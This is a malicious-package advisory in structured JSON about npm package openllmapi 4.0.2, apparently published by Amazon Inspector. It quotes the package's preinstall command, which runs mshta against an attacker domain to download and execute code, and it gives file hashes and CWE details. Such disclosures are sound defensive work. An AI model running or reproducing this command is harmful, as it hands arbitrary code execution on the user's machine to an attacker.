openllmapi

{"modified":"2026-06-24T02:56:49Z","published":"2026-06-24T02:56:49Z","schema_version":"1.7.4","id":"MAL-2026-6364","summary":"Malicious code in openllmapi (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9df5662b44b20595801c25919ac14689b71e89b8c1bdacceedc7ba1e9cf75c41)\nThe package's preinstall lifecycle script (preinstall.js line 3) runs `cmd /c \"mshta http://fixars.top\"`, which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled domain fixars.top over plain HTTP. This fires automatically on `npm install` and yields arbitrary code execution on the installer's machine with the user's privileges. The package metadata is consistent with a throwaway malicious publish: empty author, no repository or homepage, and a generic description ('Node.js wrapper for OpenLLM API service.') that does not match the install-time behavior.\n","affected":[{"package":{"ecosystem":"npm","name":"openllmapi"},"versions":["4.0.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"preinstall.js","sha256":"6531737cdf18669d076b7ff3bf8168ddc74828f385a4a037a47bd8767d11b889","tlsh":"70b012d499453234b252a0e02c3060225807c441225055e0648c451d441741516235fd"},{"path":"package.json","sha256":"d09e28cb568bc403093feef78ef6b0ae9b5365412adec88d82c723451b0b771f","tlsh":"9be026204c75a53369c202a50ca64021b760cf1b06107c0e6bcf142c038e6b754ff20d"}],"package_integrity":[{"filename":"openllmapi-4.0.2.tgz","hashes":{"sha1":"b3823fda0af432b7eeb17676511f10567a35def9","sha512_sri":"sha512-eKgchHD0vsciG1f75RPAqajTI0Y0llJFs5/EDlJituq2DF8rcefYnvqKGu+mGpWkS9+Roa1lpF/ywwDL0yQrPw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/openllmapi/v/4.0.2"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-007408","import_time":"2026-06-24T03:14:02.45201803Z","modified_time":"2026-06-24T02:56:49Z","sha256":"9df5662b44b20595801c25919ac14689b71e89b8c1bdacceedc7ba1e9cf75c41","source":"amazon-inspector","versions":["4.0.2"]}]}}